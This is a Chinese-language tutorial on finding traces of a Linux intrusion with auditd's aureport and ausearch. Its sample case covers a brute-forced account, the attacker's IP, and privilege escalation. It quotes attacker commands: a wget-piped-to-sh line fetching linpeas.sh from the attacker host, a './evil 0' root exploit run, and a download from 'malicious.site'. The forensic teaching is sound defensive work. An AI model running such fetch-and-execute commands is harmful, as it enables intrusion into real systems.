如果黑客入侵了你的系统,如何分析他是如何入侵的呢?
在Linux中,我们可以通过分析auditd审计系统记录的日志,从而来初步分析黑客的入侵痕迹
auditd审计系统
概述
auditd是liunx内核的审计子系统,负责记录系统级事件(如文件访问、用户登录、命令执行等)
审计日志默认存储在/var/log/audit/
中,内容为结构化的纯文本格式,每条记录由多个 key=value 字段组成,直接阅读比较困难,需要解析
核心组件
- auditd 守护进程:后台运行,负责收集和存储审计日志(默认路径
/var/log/audit/
) - auditctl:配置工具,用于定义审计规则(如监控文件访问或系统调用)
- ausearch & aureport:分析工具,前者搜索日志,后者生成统计报告
- audispd:扩展插件,支持将日志转发到其他程序处理
在这里我们为了分析入侵行为,可以使用ausearch & aureport工具
- aureport的统计性更强,能比较直观地了解
- ausearch也可以使用,因为是搜索日志中的相关信息,显示的内容更加详细
这里我们主要关注aureport工具
aureport
aureport的作用是将原始日志转换为可读性强的汇总报告
常用命令
报告类型 | 命令示例 | 用途 |
汇总报告 | aureport --sumary | 显示审计日志的全局统计信息 |
登录事件 | aureport -l | 列出所有用户登录/注销事件 |
文件访问 | aureport -f | 显示被监控文件的访问记录 |
用户命令 | aureport -x | 查看用户执行的命令 (需配置审计规则) |
系统调用事件 | aureport -s | 列出触发的系统调用事件 |
异常事件 | aureport --failed | 显示失败的操作 (如登录失败、权限拒绝) |
时间范围过滤 | aureport -ts 09:00 -te 17:00 | 生成指定时间段的报告 |
读取日志文件 | aureport -if xxx | 指定输入文件(默认读取/var/log/audit/audit.log) |
关键字过滤 | aureport -k xxx | 按照审计规则的关键字(key)过滤事件 |
提高可读性 | aureport -i | 将数字UID/GID转换为用户名/组名 |
使用实例
下面以一个真实案例来了解如何使用aureport来分析
有某个攻击者入侵了你的系统,如何通过auditd审计系统来分析他是如何入侵的呢?
哪个账号被盗了?
aureport -l -if audit.log
可以看到 btlo 用户一直在尝试登录,但是一直登录失败,多次失败后再最后成功登陆
不难猜测攻击者爆破出了 btlo 的密码,成功进入了系统
有多少异常事件?
aureport --failed -if audit.log
可以看到有87次的登陆失败,这与我们之前看到的一致
而身份认证失败的次数有89次
攻击者的IP地址?
aureport --host -if audit.log
分析记录的host信息,可以看到有大量192.168.4.155
的访问记录,经过分析排查不难猜测192.168.4.155
就是攻击者的IP
使用了什么提权工具?
一般普通用户进来权限比较低,攻击者往往会进行提权
aureport --tty -if audit.log
--tty
生成终端相关事件的汇总报告
- linpeas是常用的一个提权的脚本,用于列举在Linux系统上提升特权的所有可能方法,有兴趣的可以去他的Github页面进行了解
wget -O - http://192.168.4.155:8000/linpeas.sh | sh
获取了linpeas.sh
并执行
- 之后又下载了一个
evil
文件,执行了./evil 0
的操作 - 很明显使用的提权工具就是
linpeas
,或许还包括evil
- 结合
linpeas
,./evil 0
的操作可能用于获取root
的权限
- 结合
攻击者用于获取root权限的pid?
经过前面分析推测./evil 0
的操作可能用于获取root
的权限,所以我们查找evil
相关的pid就可以
aureport -p -if audit.log | grep evil
pid为829992
More
后续还可以利用ausearch & aureport进一步分析攻击者的行为
比如配置了特定的auditd审计规则,可以根据审计规则中做的标识来进行筛选
示例
配置auditd审计规则
auditd审计规则配置了捕获所有执行命令的进程(关键参数:a=always, exit=退出时记录, S=系统调用, key=标签)
auditctl -a always,exit -F arch=b64 -S execve -k executed_commands
所有通过 execve
执行的程序(包括命令)均会被记录,标记为 executed_commands
查询命令执行日志
使用 ausearch 按标签筛选,-i
将数字字段转为易读名称
ausearch -k executed_commands -i
当然也可以使用 aureport ,这里为了显示更多信息所以使用 ausearch
输出示例
type=EXECVE msg=audit(2024-06-02 10:00:00.123:456): argc=3 a0="/bin/bash" a1="-c" a2="wget http://malicious.site/script.sh"
type=PROCTITLE msg=... : proctitle="bash -c id"
argc
和 a0/a1/a2
显示具体执行的命令及参数